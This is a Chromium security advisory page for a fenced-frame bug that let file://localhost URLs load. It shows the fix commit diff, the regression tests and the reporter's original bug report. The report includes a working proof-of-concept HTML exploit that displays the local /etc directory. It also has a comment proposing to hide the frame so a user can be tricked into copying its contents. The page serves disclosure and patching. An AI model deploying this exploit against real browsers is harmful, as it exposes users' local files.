Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in Fenced Frames
DescriptionInappropriate implementation in Fenced Frames
ComponentFenced Frames
Bug ClassLogic Error
Tracker368628042
Fix commit3505b1514330 (chromium/src) +48/-18
CISA KEVNot listed
Creditedsomeoneverycurious
Disclosed2025-01-14

Changed Functions

FunctionChangeNotes
TEST_F
third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
modified
for
third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
modified

Files Changed

  • third_party/blink/common/fenced_frame/fenced_frame_utils.cc
  • third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
  • third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
From 3505b15143306c95caf36552fef3992271d6b04e Mon Sep 17 00:00:00 2001
From: Liam Brady <lbrady@google.com>
Date: Tue, 15 Oct 2024 19:43:24 +0000
Subject: [PATCH] Fenced frame: Prevent file://localhost/* files from loading.

Fenced frames are meant to be able to load the following URLs with a
default constructor:
- about:blank URLs
- https://* URLs
- http://localhost URLs

The `net::IsLocalhost()` check that is currently being used for the last
case is only checking that the URL starts with "localhost", not that
the scheme is http/https. This allows the fenced frame to load URLs like file://localhost/path/to/file. This CL tightens the check to also
check that the scheme is HTTP. The "https://localhost/*" case will
still be covered by the "https://*" check.

Bug: 368628042
Change-Id: If53573f5701c28e5674ecb524191cddc12b950fe
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/5902121
Reviewed-by: Shivani Sharma <shivanisha@chromium.org>
Commit-Queue: Liam Brady <lbrady@google.com>
Cr-Commit-Position: refs/heads/main@{#1368957}
---

diff --git a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
index 18c6d28..0ddbcdd 100644
--- a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
+++ b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
@@ -14,13 +14,21 @@
 #include "third_party/blink/public/common/frame/fenced_frame_sandbox_flags.h"
 #include "url/gurl.h"
 
+namespace {
+
+bool IsHttpLocalhost(const GURL& url) {
+  return url.SchemeIs(url::kHttpScheme) && net::IsLocalhost(url);
+}
+
+}  // namespace
+
 namespace blink {
 
 bool IsValidFencedFrameURL(const GURL& url) {
   if (!url.is_valid())
     return false;
   return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() ||
-          net::IsLocalhost(url)) &&
+          IsHttpLocalhost(url)) &&
          !url.parsed_for_possibly_invalid_spec().potentially_dangling_markup;
 }
 
diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
index 16a38e3..08a2eb2 100644
--- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
+++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
@@ -188,27 +188,24 @@
 }
 
 TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) {
+  std::vector<String> test_cases = {
+      "http://example.com",
+      "blob:https://example.com",
+      "file://path/to/file",
+      "file://localhost/path/to/file",
+  };
+
   Document& doc = GetDocument();
 
-  auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
-  fenced_frame->setConfig(
-      FencedFrameConfig::Create(String("http://example.com/")));
-  doc.body()->AppendChild(fenced_frame);
+  for (const String& url : test_cases) {
+    auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
+    fenced_frame->setConfig(FencedFrameConfig::Create(url));
+    doc.body()->AppendChild(fenced_frame);
+  }
+
   histogram_tester_.ExpectUniqueSample(
       kFencedFrameCreationOrNavigationOutcomeHistogram,
-      FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
-}
-
-TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) {
-  Document& doc = GetDocument();
-
-  auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
-  fenced_frame->setConfig(
-      FencedFrameConfig::Create(String("http://example.com")));
-  doc.body()->AppendChild(fenced_frame);
-  histogram_tester_.ExpectUniqueSample(
-      kFencedFrameCreationOrNavigationOutcomeHistogram,
-      FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
+      FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size());
 }
 
 TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) {
diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
new file mode 100644
index 0000000..a8b16d7
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<title>Test navigate fenced frame to http://localhost URL</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/common/utils.js"></script>
+<script src="resources/utils.js"></script>
+<script src="/common/utils.js"></script>
+<script src="/common/get-host-info.sub.js"></script>
+
+<body>
+<script>
+promise_test(async (t) => {
+  const key = token();
+  const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT +
+      "/fenced-frame/resources/embeddee.html", [key]);
+  attachFencedFrame(url);
+
+  const result = await nextValueFromServer(key);
+  assert_equals(result, "PASS",
+      "The fenced frame should load a http://localhost URL.");
+}, 'http://localhost URLs can load');
+
+</script>
+</body>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
index 16a38e3..08a2eb2 100644
--- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
+++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
@@ -188,27 +188,24 @@
 }
 
 TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) {
+  std::vector<String> test_cases = {
+      "http://example.com",
+      "blob:https://example.com",
+      "file://path/to/file",
+      "file://localhost/path/to/file",
+  };
+
   Document& doc = GetDocument();
 
-  auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
-  fenced_frame->setConfig(
-      FencedFrameConfig::Create(String("http://example.com/")));
-  doc.body()->AppendChild(fenced_frame);
+  for (const String& url : test_cases) {
+    auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
+    fenced_frame->setConfig(FencedFrameConfig::Create(url));
+    doc.body()->AppendChild(fenced_frame);
+  }
+
   histogram_tester_.ExpectUniqueSample(
       kFencedFrameCreationOrNavigationOutcomeHistogram,
-      FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
-}
-
-TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) {
-  Document& doc = GetDocument();
-
-  auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
-  fenced_frame->setConfig(
-      FencedFrameConfig::Create(String("http://example.com")));
-  doc.body()->AppendChild(fenced_frame);
-  histogram_tester_.ExpectUniqueSample(
-      kFencedFrameCreationOrNavigationOutcomeHistogram,
-      FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
+      FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size());
 }
 
 TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) {
diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
new file mode 100644
index 0000000..a8b16d7
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<title>Test navigate fenced frame to http://localhost URL</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/common/utils.js"></script>
+<script src="resources/utils.js"></script>
+<script src="/common/utils.js"></script>
+<script src="/common/get-host-info.sub.js"></script>
+
+<body>
+<script>
+promise_test(async (t) => {
+  const key = token();
+  const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT +
+      "/fenced-frame/resources/embeddee.html", [key]);
+  attachFencedFrame(url);
+
+  const result = await nextValueFromServer(key);
+  assert_equals(result, "PASS",
+      "The fenced frame should load a http://localhost URL.");
+}, 'http://localhost URLs can load');
+
+</script>
+</body>
+</html>
Loading diff…

Original Bug Report

reported by so...@proton.me

FencedFrame allows loading local file directories in http(s?) context

Steps to reproduce the problem

  1. Enable fenced frame for your PoC server (#privacy-sandbox-enrollment-overrides flag, add your PoC server domain to this list; or do PoC on websites where fencedframe usage is allowed by default)
  2. serve exploit.html file, navigate to //$my_poc_server_url/exploit.html
  3. observe fencedframe displaying file:///etc folder

PoC (exploit.html)

<body>
  <script>
    (async function start() {
      var frame = document.body.appendChild(document.createElement("fencedframe"))
      frame.setAttribute("height", "600")
      frame.setAttribute("width", "600")
      // we can make the iframe not visible to user to trick them into running cmd+a + cmd+c to steal the contents of the folder through clipboard
      // frame.setAttribute('style', `position: absolute; left: -2000; width: 5000px; height: 5000px;`)

      const blob = new Blob([``], { type: 'text/javascript' });
      const blobURL = URL.createObjectURL(blob);
      await window.sharedStorage.worklet.addModule(blobURL);
      var fencedFrameConfig = await window.sharedStorage.selectURL(
        'ab-testing',
        [
          { url: "file://localhost/etc" },
        ],
        {
          resolveToConfig: true
        }
      );
      frame.config = fencedFrameConfig;
    }());
  </script>
</body>

Problem Description

any ://localhost/ URI is a valid fenced frame URI https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/common/fenced_frame/fenced_frame_utils.cc;l=19

bool IsValidFencedFrameURL(const GURL& url) {
  if (!url.is_valid())
    return false;
  return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() ||
          net::IsLocalhost(url)) && // <--------- does not check for protocol
         !url.parsed_for_possibly_invalid_spec().potentially_dangling_markup;
}

Why can’t we load file://localhost/etc/passwd then? (theory, I’ve not confirmed it yet) https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q=%22Supports-Loading-Mode%20HTTP%20response%20header%22&ss=chromium%2Fchromium%2Fsrc

response to request for file directories has no headers, I suspect (not confirmed yet) that’s why should_enforce_fenced_frame_opt_in evaluates to false and the error is not thrown.

const bool should_enforce_fenced_frame_opt_in =
      response_should_be_rendered_ && response_head_->headers &&
      frame_tree_node_->IsInFencedFrameTree() &&
      !(url.IsAboutBlank() || url.SchemeIsBlob() ||
        url.SchemeIs(url::kDataScheme));
  if (should_enforce_fenced_frame_opt_in &&
      !IsOptedInFencedFrame(*response_head_->headers)) 

Version affects both stable and canary

Summary

FencedFrame allows loading local file directories in http(s?) context

Custom Questions

Reporter credit:

someoneverycurious

Additional Data

Category: Security
Chrome Channel: Stable
Regression: N/A

View on issue tracker